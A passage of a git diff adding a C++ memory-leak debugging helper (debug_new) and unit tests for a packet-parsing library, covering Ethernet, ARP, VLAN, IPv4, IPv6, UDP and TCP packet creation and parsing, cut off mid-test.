(new_verbose_flag) + printf("info: exception thrown on initializing object at %p (%s:%d)\n", + pointer, file, line); + operator delete(pointer); +} + +void operator delete[](void* pointer, const char* file, int line) +{ + operator delete(pointer, file, line); +} + +void operator delete(void* pointer, const std::nothrow_t&) +{ + operator delete(pointer); +} + +void operator delete[](void* pointer, const std::nothrow_t&) +{ + operator delete(pointer, std::nothrow); +} + +unsigned int PrintMemTotalSize() +{ + printf("\nNOW Allocate MEM SIZE ---- [0x%x]---\n", total_size); + return total_size; +} + +#endif // NO_PLACEMENT_DELETE + +// Proxy class to automatically call check_leaks if new_autocheck_flag is set +class new_check_t +{ +public: + new_check_t() {} + ~new_check_t() + { + if (new_autocheck_flag) + { + // Check for leakage. + // If any leaks are found, set new_verbose_flag so that any + // delete operations in the destruction of global/static + // objects will display information to compensate for + // possible false leakage reports. + if (check_leaks()) + new_verbose_flag = true; + } + } +}; +static new_check_t new_check_object; + diff --git a/Packet++Test/debug_new.h b/Packet++Test/debug_new.h new file mode 100644 index 0000000000..e34b1a573d --- /dev/null +++ b/Packet++Test/debug_new.h @@ -0,0 +1,43 @@ +/* + * debug_new.h 1.7 2003/07/03 + * + * Header file for checking leakage by operator new + * + * By Wu Yongwei + * + */ + +#ifndef _DEBUG_NEW_H +#define _DEBUG_NEW_H + +#include + +/* Prototypes */ +bool check_leaks(); +void* operator new(size_t size, const char* file, int line); +void* operator new[](size_t size, const char* file, int line); +#ifndef NO_PLACEMENT_DELETE +void operator delete(void* pointer, const char* file, int line); +void operator delete[](void* pointer, const char* file, int line); +#endif // NO_PLACEMENT_DELETE +void operator delete[](void*); // MSVC 6 requires this declaration + +/* Macros */ +#ifndef DEBUG_NEW_NO_NEW_REDEFINITION +#define new DEBUG_NEW +#define DEBUG_NEW new(__FILE__, __LINE__) +#define debug_new new +#else +#define debug_new new(__FILE__, __LINE__) +#endif // DEBUG_NEW_NO_NEW_REDEFINITION +#ifdef DEBUG_NEW_EMULATE_MALLOC +#include +#define malloc(s) ((void*)(debug_new char[s])) +#define free(p) delete[] (char*)(p) +#endif // DEBUG_NEW_EMULATE_MALLOC + +/* Control flags */ +extern bool new_verbose_flag; // default to false: no verbose information +extern bool new_autocheck_flag; // default to true: call check_leaks() on exit + +#endif // _DEBUG_NEW_H diff --git a/Packet++Test/main.cpp b/Packet++Test/main.cpp new file mode 100644 index 0000000000..a67b2c4675 --- /dev/null +++ b/Packet++Test/main.cpp @@ -0,0 +1,876 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef WIN32 +#include +#else +#include +#endif + +#define PACKETPP_TEST(TestName) bool TestName() + +#define PACKETPP_ASSERT(exp, assertFailedFormat, ...) \ + if (!(exp)) \ + { \ + printf("%-30s: FAILED. assertion failed: " assertFailedFormat "\n", __FUNCTION__, ## __VA_ARGS__); \ + return false; \ + } + +#define PACKETPP_ASSERT_AND_RUN_COMMAND(exp, command, assertFailedFormat, ...) \ + if (!(exp)) \ + { \ + printf("%-30s: FAILED. assertion failed: " assertFailedFormat "\n", __FUNCTION__, ## __VA_ARGS__); \ + command; \ + return false; \ + } + +#define PACKETPP_TEST_PASSED printf("%-30s: PASSED\n", __FUNCTION__); return true + +#define PACKETPP_START_RUNNING_TESTS bool allTestsPassed = true +#define PACKETPP_RUN_TEST(TestName) allTestsPassed &= TestName() +#define PACKETPP_END_RUNNING_TESTS \ + if (allTestsPassed) \ + printf("ALL TESTS PASSED!!\n"); \ + else \ + printf("NOT ALL TESTS PASSED!!\n"); + +int getFileLength(const char* filename) +{ + ifstream infile(filename, ifstream::binary); + if (!infile) + return -1; + infile.seekg(0, infile.end); + int length = infile.tellg(); + infile.close(); + return length; +} + +uint8_t* readFileIntoBuffer(const char* filename, int& bufferLength) +{ + int fileLength = getFileLength(filename); + if (fileLength == -1) + return NULL; + + ifstream infile(filename); + if (!infile) + return NULL; + + bufferLength = fileLength/2 + 2; + uint8_t* result = new uint8_t[bufferLength]; + int i = 0; + while (!infile.eof()) + { + char byte[3]; + memset(byte, 0, 3); + infile.read(byte, 2); + result[i] = (uint8_t)strtol(byte, NULL, 16); + i++; + } + infile.close(); + bufferLength -= 2; + return result; +} + + +PACKETPP_TEST(EthPacketCreation) { + MacAddress srcMac("aa:aa:aa:aa:aa:aa"); + MacAddress dstMac("bb:bb:bb:bb:bb:bb"); + EthLayer ethLayer(srcMac, dstMac, ETHERTYPE_IP); + + uint8_t payload[] = { 0x01, 0x02, 0x03, 0x04 }; + PayloadLayer payloadLayer(payload, 4, true); + + Packet ethPacket(1); + PACKETPP_ASSERT(ethPacket.addLayer(ðLayer), "Adding ethernet layer failed"); + PACKETPP_ASSERT(ethPacket.addLayer(&payloadLayer), "Adding payload layer failed"); + + PACKETPP_ASSERT(ethPacket.isPacketOfType(Ethernet), "Packet is not of type Ethernet"); + PACKETPP_ASSERT(ethPacket.getLayerOfType(Ethernet) != NULL, "Ethernet layer doesn't exist"); + PACKETPP_ASSERT(ethPacket.getLayerOfType(Ethernet) == ðLayer, "Ethernet layer doesn't equal to inserted layer"); + PACKETPP_ASSERT(((EthLayer*)ethPacket.getLayerOfType(Ethernet))->getDestMac() == dstMac, "Packet dest mac isn't equal to intserted dest mac"); + PACKETPP_ASSERT(((EthLayer*)ethPacket.getLayerOfType(Ethernet))->getSourceMac() == srcMac, "Packet src mac isn't equal to intserted src mac"); + PACKETPP_ASSERT(((EthLayer*)ethPacket.getLayerOfType(Ethernet))->getEthHeader()->etherType == ntohs(ETHERTYPE_IP), "Packet ether type isn't equal to ETHERTYPE_IP"); + + RawPacket* rawPacket = ethPacket.getRawPacket(); + PACKETPP_ASSERT(rawPacket != NULL, "Raw packet is NULL"); + PACKETPP_ASSERT(rawPacket->getRawDataLen() == 18, "Raw packet length expected to be 18 but it's %d", rawPacket->getRawDataLen()); + + uint8_t expectedBuffer[18] = { 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0x08, 0x00, 0x01, 0x02, 0x03, 0x04 }; + PACKETPP_ASSERT(memcmp(rawPacket->getRawData(), expectedBuffer, 18) == 0, "Raw packet data is different than expected"); + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(EthAndArpPacketParsing) { + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/ArpResponsePacket.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + +// int* abba = new int[1000]; +// std::cout << abba[500]; + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet ethPacket(&rawPacket); + PACKETPP_ASSERT(ethPacket.isPacketOfType(Ethernet), "Packet is not of type Ethernet"); + PACKETPP_ASSERT(ethPacket.getLayerOfType(Ethernet) != NULL, "Ethernet layer doesn't exist"); + + MacAddress expectedSrcMac(0x30, 0x46, 0x9a, 0x23, 0xfb, 0xfa); + MacAddress expectedDstMac(0x6c, 0xf0, 0x49, 0xb2, 0xde, 0x6e); + EthLayer* ethLayer = (EthLayer*)ethPacket.getLayerOfType(Ethernet); + PACKETPP_ASSERT(ethLayer->getDestMac() == expectedDstMac, "Packet dest mac isn't equal to intserted dest mac"); + PACKETPP_ASSERT(ethLayer->getSourceMac() == expectedSrcMac, "Packet src mac isn't equal to intserted src mac"); + PACKETPP_ASSERT(ethLayer->getEthHeader()->etherType == ntohs(ETHERTYPE_ARP), "Packet ether type isn't equal to ETHERTYPE_ARP, it's 0x%x", ethLayer->getEthHeader()->etherType); + + PACKETPP_ASSERT(ethLayer->getNextLayer()->getProtocol() == ARP, "Next layer isn't of type 'ARP'"); + ArpLayer* arpLayer = (ArpLayer*)ethLayer->getNextLayer(); + PACKETPP_ASSERT(arpLayer->getArpHeader()->hardwareType == htons(1), "ARP hardwareType != 1"); + PACKETPP_ASSERT(arpLayer->getArpHeader()->protocolType == htons(ETHERTYPE_IP), "ARP protocolType != ETHERTYPE_IP, it's 0x%4X", ntohs(arpLayer->getArpHeader()->protocolType)); + PACKETPP_ASSERT(arpLayer->getArpHeader()->hardwareSize == 6, "ARP hardwareSize != 6"); + PACKETPP_ASSERT(arpLayer->getArpHeader()->protocolSize == 4, "ARP protocolSize != 4"); + PACKETPP_ASSERT(arpLayer->getArpHeader()->opcode == htons(ARP_REPLY), "ARP opcode != ARP_REPLY"); + PACKETPP_ASSERT(arpLayer->getSenderIpAddr() == IPv4Address(string("10.0.0.138")), "ARP sender IP addr != 10.0.0.138"); + PACKETPP_ASSERT(arpLayer->getTargetMacAddress() == MacAddress("6c:f0:49:b2:de:6e"), "ARP target mac addr != 6c:f0:49:b2:de:6e"); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(ArpPacketCreation) +{ + MacAddress srcMac("6c:f0:49:b2:de:6e"); + MacAddress dstMac("ff:ff:ff:ff:ff:ff:"); + EthLayer ethLayer(srcMac, dstMac, ETHERTYPE_ARP); + + ArpLayer arpLayer(ARP_REQUEST, srcMac, srcMac, IPv4Address(string("10.0.0.1")), IPv4Address(string("10.0.0.138"))); + + Packet arpRequestPacket(1); + PACKETPP_ASSERT(arpRequestPacket.addLayer(ðLayer), "Couldn't add eth layer"); + PACKETPP_ASSERT(arpRequestPacket.addLayer(&arpLayer), "Couldn't add arp layer"); + arpRequestPacket.computeCalculateFields(); + PACKETPP_ASSERT(arpRequestPacket.getRawPacket()->getRawDataLen() == 42, "arp packet size != 42 bytes, Actual: %d", arpRequestPacket.getRawPacket()->getRawDataLen()); + + ArpLayer* pArpLayer = (ArpLayer*)arpRequestPacket.getLayerOfType(ARP); + PACKETPP_ASSERT(pArpLayer != NULL, "Packet doesn't contain arp layer"); + + arphdr* arpHeader = pArpLayer->getArpHeader(); + PACKETPP_ASSERT(arpHeader->hardwareSize == 6, "Arp header: hardwareSize != 6, Actual: %d", arpHeader->hardwareSize); + PACKETPP_ASSERT(arpHeader->protocolType == htons(ETHERTYPE_IP), "Arp header: protocolType != ETHERTYPE_IP, Actual: %d", arpHeader->protocolType); + + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/ArpRequestPacket.dat", bufferLength); + PACKETPP_ASSERT(buffer != NULL, "cannot read file"); + PACKETPP_ASSERT(bufferLength == arpRequestPacket.getRawPacket()->getRawDataLen(), "Generated packet len (%d) is different than read packet len (%d)", arpRequestPacket.getRawPacket()->getRawDataLen(), bufferLength); + PACKETPP_ASSERT(memcmp(arpRequestPacket.getRawPacket()->getRawData(), buffer, bufferLength) == 0, "Raw packet data is different than expected"); + + delete [] buffer; + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(VlanParseAndCreation) +{ + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/ArpRequestWithVlan.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + Packet arpWithVlan(&rawPacket); + VlanLayer* pFirstVlanLayer = NULL; + VlanLayer* pSecondVlanLayer = NULL; + PACKETPP_ASSERT((pFirstVlanLayer = (VlanLayer*)arpWithVlan.getLayerOfType(VLAN)) != NULL, "Couldn't get first vlan layer from packet"); + vlan_header* vlanHeader = pFirstVlanLayer->getVlanHeader(); + PACKETPP_ASSERT(pFirstVlanLayer->getVlanID() == 100, "first vlan ID != 100, it's 0x%2X", pFirstVlanLayer->getVlanID()); + PACKETPP_ASSERT(vlanHeader->cfi == htons(0), "first vlan CFI != 0"); + PACKETPP_ASSERT(vlanHeader->priority == htons(0), "first vlan priority != 0"); + PACKETPP_ASSERT((pSecondVlanLayer = (VlanLayer*)arpWithVlan.getNextLayerOfType(pFirstVlanLayer, VLAN)) != NULL, "Couldn't get second vlan layer from packet"); + vlanHeader = pSecondVlanLayer->getVlanHeader(); + PACKETPP_ASSERT(pSecondVlanLayer->getVlanID() == 200, "second vlan ID != 200"); + PACKETPP_ASSERT(vlanHeader->cfi == htons(0), "second vlan CFI != 0"); + PACKETPP_ASSERT(vlanHeader->priority == htons(0), "second vlan priority != 0"); + + Packet arpWithVlanNew(1); + MacAddress macSrc("ca:03:0d:b4:00:1c"); + MacAddress macDest("ff:ff:ff:ff:ff:ff"); + EthLayer ethLayer(macSrc, macDest, ETHERTYPE_VLAN); + VlanLayer firstVlanLayer(100, 0, 0, ETHERTYPE_VLAN); + VlanLayer secondVlanLayer(200, 0, 0, ETHERTYPE_ARP); + ArpLayer arpLayer(ARP_REQUEST, macSrc, MacAddress("00:00:00:00:00:00"), IPv4Address(string("192.168.2.200")), IPv4Address(string("192.168.2.254"))); + PACKETPP_ASSERT(arpWithVlanNew.addLayer(ðLayer), "Couldn't add eth layer"); + PACKETPP_ASSERT(arpWithVlanNew.addLayer(&firstVlanLayer), "Couldn't add first vlan layer"); + PACKETPP_ASSERT(arpWithVlanNew.addLayer(&secondVlanLayer), "Couldn't add second vlan layer"); + PACKETPP_ASSERT(arpWithVlanNew.addLayer(&arpLayer), "Couldn't add second arp layer"); + + arpWithVlanNew.computeCalculateFields(); + + PACKETPP_ASSERT(bufferLength == arpWithVlanNew.getRawPacket()->getRawDataLen(), "Generated packet len (%d) is different than read packet len (%d)", arpWithVlanNew.getRawPacket()->getRawDataLen(), bufferLength); + PACKETPP_ASSERT(memcmp(arpWithVlanNew.getRawPacket()->getRawData(), buffer, bufferLength) == 0, "Raw packet data is different than expected"); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(Ipv4PacketCreation) +{ + Packet ip4Packet(1); + + MacAddress srcMac("aa:aa:aa:aa:aa:aa"); + MacAddress dstMac("bb:bb:bb:bb:bb:bb"); + EthLayer ethLayer(srcMac, dstMac, ETHERTYPE_IP); + PACKETPP_ASSERT(ip4Packet.addLayer(ðLayer), "Adding ethernet layer failed"); + + Packet tmpPacket(50); + LoggerPP::getInstance().supressErrors(); + PACKETPP_ASSERT(!tmpPacket.addLayer(ðLayer), "Wrongly succeeded to add the same Ethernet layer into 2 different packets"); + LoggerPP::getInstance().enableErrors(); + + RawPacket* rawPacket = ip4Packet.getRawPacket(); + PACKETPP_ASSERT(rawPacket != NULL, "Raw packet is NULL"); + PACKETPP_ASSERT(rawPacket->getRawDataLen() == 14, "Raw packet length expected to be 14 but it's %d", rawPacket->getRawDataLen()); + + + IPv4Address ipSrc(string("1.1.1.1")); + IPv4Address ipDst(string("20.20.20.20")); + IPv4Layer ip4Layer(ipSrc, ipDst); + ip4Layer.getIPv4Header()->protocol = PACKETPP_IPPROTO_TCP; + PACKETPP_ASSERT(ip4Packet.addLayer(&ip4Layer), "Adding IPv4 layer failed"); + + uint8_t payload[] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xa }; + PayloadLayer payloadLayer(payload, 10, true); + PACKETPP_ASSERT(ip4Packet.addLayer(&payloadLayer), "Adding payload layer failed"); + + ip4Packet.computeCalculateFields(); + + PACKETPP_ASSERT(ip4Packet.getLayerOfType(Ethernet)->getDataLen() == 44, "Eth Layer data len != 44, it's %d", ip4Packet.getLayerOfType(Ethernet)->getDataLen()); + PACKETPP_ASSERT(ip4Packet.getLayerOfType(IPv4) != NULL, "Packet doesn't contain IPv4 layer"); + iphdr* ipHeader = ip4Layer.getIPv4Header(); + PACKETPP_ASSERT(ip4Layer.getSrcIpAddress() == ipSrc, "IPv4 Layer src IP isn't equal to inserted src IP"); + PACKETPP_ASSERT(ip4Layer.getDstIpAddress() == ipDst, "IPv4 Layer dst IP isn't equal to inserted dst IP"); + PACKETPP_ASSERT(ipHeader->ipVersion == 4, "IPv4 Layer version != 4, Actual: %d", ipHeader->ipVersion); + PACKETPP_ASSERT(ipHeader->internetHeaderLength == 5, "IPv4 Layer header length != 5, Actual: %d", ipHeader->internetHeaderLength); + PACKETPP_ASSERT(ipHeader->totalLength == htons(30), "IPv4 Layer total length != 30"); + PACKETPP_ASSERT(ipHeader->protocol == PACKETPP_IPPROTO_TCP, "IPv4 Layer protocol isn't PACKETPP_IPPROTO_TCP"); + PACKETPP_ASSERT(ipHeader->headerChecksum == htons(0x90b1), "IPv4 Layer header checksum is wrong. Expected: 0x%4X, Actual: 0x%4X", 0x90b1, ipHeader->headerChecksum); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(Ipv4PacketParsing) +{ + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/IcmpPacket.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet ip4Packet(&rawPacket); + PACKETPP_ASSERT(ip4Packet.isPacketOfType(Ethernet), "Packet is not of type Ethernet"); + PACKETPP_ASSERT(ip4Packet.getLayerOfType(Ethernet) != NULL, "Ethernet layer doesn't exist"); + PACKETPP_ASSERT(ip4Packet.isPacketOfType(IPv4), "Packet is not of type IPv4"); + PACKETPP_ASSERT(ip4Packet.getLayerOfType(IPv4) != NULL, "IPv4 layer doesn't exist"); + + EthLayer* ethLayer = (EthLayer*)ip4Packet.getLayerOfType(Ethernet); + PACKETPP_ASSERT(ntohs(ethLayer->getEthHeader()->etherType) == ETHERTYPE_IP, "Packet ether type isn't equal to ETHERTYPE_IP"); + + IPv4Layer* ipv4Layer = (IPv4Layer*)ip4Packet.getLayerOfType(IPv4); + IPv4Address ip4addr1(string("10.0.0.4")); + IPv4Address ip4addr2(string("1.1.1.1")); + PACKETPP_ASSERT(ipv4Layer->getIPv4Header()->protocol == 1, "Protocol read from packet isnt ICMP (=1). Protocol is: %d", ipv4Layer->getIPv4Header()->protocol); + PACKETPP_ASSERT(ipv4Layer->getIPv4Header()->ipVersion == 4, "IP version isn't 4. Version is: %d", ipv4Layer->getIPv4Header()->ipVersion); + PACKETPP_ASSERT(ipv4Layer->getIPv4Header()->ipSrc == ip4addr1.toInt(), "incorrect source address"); + PACKETPP_ASSERT(ipv4Layer->getIPv4Header()->ipDst == ip4addr2.toInt(), "incorrect dest address"); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(Ipv4UdpChecksum) +{ + for (int i = 1; i<6; i++) + { + stringstream strStream; + strStream << "PacketExamples/UdpPacket4Checksum" << i << ".dat"; + string fileName = strStream.str(); + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer(fileName.c_str(), bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file '%s'", fileName.c_str()); + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet udpPacket(&rawPacket); + UdpLayer* udpLayer = NULL; + PACKETPP_ASSERT((udpLayer = (UdpLayer*)udpPacket.getLayerOfType(UDP)) != NULL, "UDP layer doesn't exist"); + uint16_t packetChecksum = udpLayer->getUdpHeader()->headerChecksum; + udpLayer->computeCalculateFields(); + PACKETPP_ASSERT(udpLayer->getUdpHeader()->headerChecksum == packetChecksum, "Calculated checksum (0x%4X) != original checksum (0x%4X)", udpLayer->getUdpHeader()->headerChecksum, packetChecksum); + } + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(Ipv6UdpPacketParseAndCreate) +{ + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/IPv6UdpPacket.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet ip6UdpPacket(&rawPacket); + PACKETPP_ASSERT(!ip6UdpPacket.isPacketOfType(IPv4), "Packet is of type IPv4 instead IPv6"); + PACKETPP_ASSERT(!ip6UdpPacket.isPacketOfType(TCP), "Packet is of type TCP where it shouldn't"); + IPv6Layer* ipv6Layer = NULL; + PACKETPP_ASSERT((ipv6Layer = (IPv6Layer*)ip6UdpPacket.getLayerOfType(IPv6)) != NULL, "IPv6 layer doesn't exist"); + PACKETPP_ASSERT(ipv6Layer->getIPv6Header()->nextHeader == 17, "Protocol read from packet isnt UDP (17). Protocol is: %d", ipv6Layer->getIPv6Header()->nextHeader); + PACKETPP_ASSERT(ipv6Layer->getIPv6Header()->ipVersion == 6, "IP version isn't 6. Version is: %d", ipv6Layer->getIPv6Header()->ipVersion); + IPv6Address srcIP(string("fe80::4dc7:f593:1f7b:dc11")); + IPv6Address dstIP(string("ff02::c")); + PACKETPP_ASSERT(ipv6Layer->getSrcIpAddress() == srcIP, "incorrect source address"); + PACKETPP_ASSERT(ipv6Layer->getDstIpAddress() == dstIP, "incorrect dest address"); + UdpLayer* pUdpLayer = NULL; + PACKETPP_ASSERT((pUdpLayer = (UdpLayer*)ip6UdpPacket.getLayerOfType(UDP)) != NULL, "UDP layer doesn't exist"); + PACKETPP_ASSERT(pUdpLayer->getUdpHeader()->portDst == htons(1900), "UDP dest port != 1900"); + PACKETPP_ASSERT(pUdpLayer->getUdpHeader()->portSrc == htons(63628), "UDP dest port != 63628"); + PACKETPP_ASSERT(pUdpLayer->getUdpHeader()->length == htons(154), "UDP dest port != 154"); + PACKETPP_ASSERT(pUdpLayer->getUdpHeader()->headerChecksum == htons(0x5fea), "UDP dest port != 0x5fea"); + + Packet ip6UdpPacketNew(1); + MacAddress macSrc("6c:f0:49:b2:de:6e"); + MacAddress macDest("33:33:00:00:00:0c"); + EthLayer ethLayer(macSrc, macDest, ETHERTYPE_IPV6); + + IPv6Layer ip6Layer(srcIP, dstIP); + ip6_hdr* ip6Header = ip6Layer.getIPv6Header(); + ip6Header->hopLimit = 1; + ip6Header->nextHeader = 17; + + UdpLayer udpLayer(63628, 1900); + + Layer* afterIpv6Layer = pUdpLayer->getNextLayer(); + uint8_t payloadData[afterIpv6Layer->getDataLen()]; + afterIpv6Layer->copyData(payloadData); + PayloadLayer payloadLayer(payloadData, afterIpv6Layer->getDataLen(), true); + + PACKETPP_ASSERT(ip6UdpPacketNew.addLayer(ðLayer), "Couldn't add eth layer"); + PACKETPP_ASSERT(ip6UdpPacketNew.addLayer(&ip6Layer), "Couldn't add IPv6 layer"); + PACKETPP_ASSERT(ip6UdpPacketNew.addLayer(&udpLayer), "Couldn't add udp layer"); + PACKETPP_ASSERT(ip6UdpPacketNew.addLayer(&payloadLayer), "Couldn't add payload layer"); + ip6UdpPacketNew.computeCalculateFields(); + + PACKETPP_ASSERT(bufferLength == ip6UdpPacketNew.getRawPacket()->getRawDataLen(), "Generated packet len (%d) is different than read packet len (%d)", ip6UdpPacketNew.getRawPacket()->getRawDataLen(), bufferLength); + PACKETPP_ASSERT(memcmp(ip6UdpPacketNew.getRawPacket()->getRawData(), buffer, bufferLength) == 0, "Raw packet data is different than expected"); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(TcpPacketNoOptionsParsing) +{ + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/TcpPacketNoOptions.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet tcpPaketNoOptions(&rawPacket); + PACKETPP_ASSERT(tcpPaketNoOptions.isPacketOfType(IPv4), "Packet isn't of type IPv4"); + PACKETPP_ASSERT(tcpPaketNoOptions.isPacketOfType(TCP), "Packet isn't of type TCP"); + TcpLayer* tcpLayer = NULL; + PACKETPP_ASSERT((tcpLayer = (TcpLayer*)tcpPaketNoOptions.getLayerOfType(TCP)) != NULL, "TCP layer is NULL"); + + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->portDst == htons(60388), "Dest port != 60388, it's %d", ntohs(tcpLayer->getTcpHeader()->portDst)); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->portSrc == htons(80), "Src port != 80, it's %d", ntohs(tcpLayer->getTcpHeader()->portSrc)); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->sequenceNumber == htonl(0xbeab364a), "Sequence number != 0xbeab364a, it's 0x%lX", ntohl(tcpLayer->getTcpHeader()->sequenceNumber)); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->ackNumber == htonl(0xf9ffb58e), "Ack number != 0xf9ffb58e, it's 0x%lX", ntohl(tcpLayer->getTcpHeader()->ackNumber)); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->dataOffset == 5, "Header length != 5 (20 bytes), it's %d", tcpLayer->getTcpHeader()->dataOffset); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->urgentPointer == 0, "Urgent pointer != 0, it's %d", tcpLayer->getTcpHeader()->urgentPointer); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->headerChecksum == htons(0x4c03), "Header checksum != 0x4c03, it's 0x%4X", ntohs(tcpLayer->getTcpHeader()->headerChecksum)); + + // Flags + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->ackFlag == 1, "ACK Flag != 1"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->pshFlag == 1, "PSH Flag != 1"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->urgFlag == 0, "URG Flag != 0"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->cwrFlag == 0, "CWE Flag != 0"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->synFlag == 0, "SYN Flag != 0"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->finFlag == 0, "FIN Flag != 0"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->rstFlag == 0, "RST Flag != 0"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->eceFlag == 0, "ECE Flag != 0"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->reserved == 0, "Reserved != 0"); + + // TCP options + PACKETPP_ASSERT(tcpLayer->getTcpOptionsCount() == 0, "TCP options count isn't 0"); + PACKETPP_ASSERT(tcpLayer->getTcpOptionData(TCPOPT_NOP) == NULL, "TCP option NOP isn't NULL"); + PACKETPP_ASSERT(tcpLayer->getTcpOptionData(TCPOPT_TIMESTAMP) == NULL, "TCP option Timestamp isn't NULL"); + + Layer* afterTcpLayer = tcpLayer->getNextLayer(); + PACKETPP_ASSERT(afterTcpLayer != NULL, "Layer after TCP is NULL"); + PACKETPP_ASSERT(afterTcpLayer->getProtocol() == Unknown, "Protocol layer after TCP isn't Unknown"); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(TcpPacketWithOptionsParsing) +{ + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/TcpPacketWithOptions.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet tcpPaketWithOptions(&rawPacket); + PACKETPP_ASSERT(tcpPaketWithOptions.isPacketOfType(IPv4), "Packet isn't of type IPv4"); + PACKETPP_ASSERT(tcpPaketWithOptions.isPacketOfType(TCP), "Packet isn't of type TCP"); + TcpLayer* tcpLayer = NULL; + PACKETPP_ASSERT((tcpLayer = (TcpLayer*)tcpPaketWithOptions.getLayerOfType(TCP)) != NULL, "TCP layer is NULL"); + + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->portSrc == htons(44147), "Src port != 44147, it's %d", ntohs(tcpLayer->getTcpHeader()->portSrc)); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->portDst == htons(80), "Dest port != 80, it's %d", ntohs(tcpLayer->getTcpHeader()->portDst)); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->ackFlag == 1, "ACK Flag != 1"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->pshFlag == 1, "PSH Flag != 1"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->synFlag == 0, "SYN Flag != 0"); + PACKETPP_ASSERT(tcpLayer->getTcpHeader()->urgentPointer == 0, "Urgent pointer != 0, it's %d", tcpLayer->getTcpHeader()->urgentPointer); + + // TCP options + PACKETPP_ASSERT(tcpLayer->getTcpOptionsCount() == 3, "TCP options count != 3, it's %d", tcpLayer->getTcpOptionsCount()); + TcpOptionData* nopOptionData = NULL; + TcpOptionData* timestampOptionData = NULL; + PACKETPP_ASSERT((timestampOptionData = tcpLayer->getTcpOptionData(TCPOPT_TIMESTAMP)) != NULL, "TCP option Timestamp is NULL"); + PACKETPP_ASSERT((nopOptionData = tcpLayer->getTcpOptionData(TCPOPT_NOP)) != NULL, "TCP option NOP is NULL"); + PACKETPP_ASSERT(timestampOptionData->len == 10, "TCP option Timestamp length != 10, it's 0x%X", timestampOptionData->len); + uint32_t tsValue = 0; + uint32_t tsEchoReply = 0; + memcpy(&tsValue, timestampOptionData->value, 4); + memcpy(&tsEchoReply, timestampOptionData->value+4, 4); + PACKETPP_ASSERT(tsValue == htonl(195102), "TCP option Timestamp option: timestamp value != 195102, it's %ld", ntohl(tsValue)); + PACKETPP_ASSERT(tsEchoReply == htonl(3555729271), "TCP option Timestamp option: echo reply value != 3555729271, it's %ld", ntohl(tsEchoReply)); + + PACKETPP_TEST_PASSED; +} + +PACKETPP_TEST(TcpPacketWithOptionsParsing2) +{ + int bufferLength = 0; + uint8_t* buffer = readFileIntoBuffer("PacketExamples/TcpPacketWithOptions3.dat", bufferLength); + PACKETPP_ASSERT(!(buffer == NULL), "cannot read file"); + + timeval time; + gettimeofday(&time, NULL); + RawPacket rawPacket((const uint8_t*)buffer, bufferLength, time, true); + + Packet tcpPaketWithOptions(&rawPacket); + + TcpLayer* tcpLayer = NULL; + PACKETPP_ASSERT((tcpLayer = 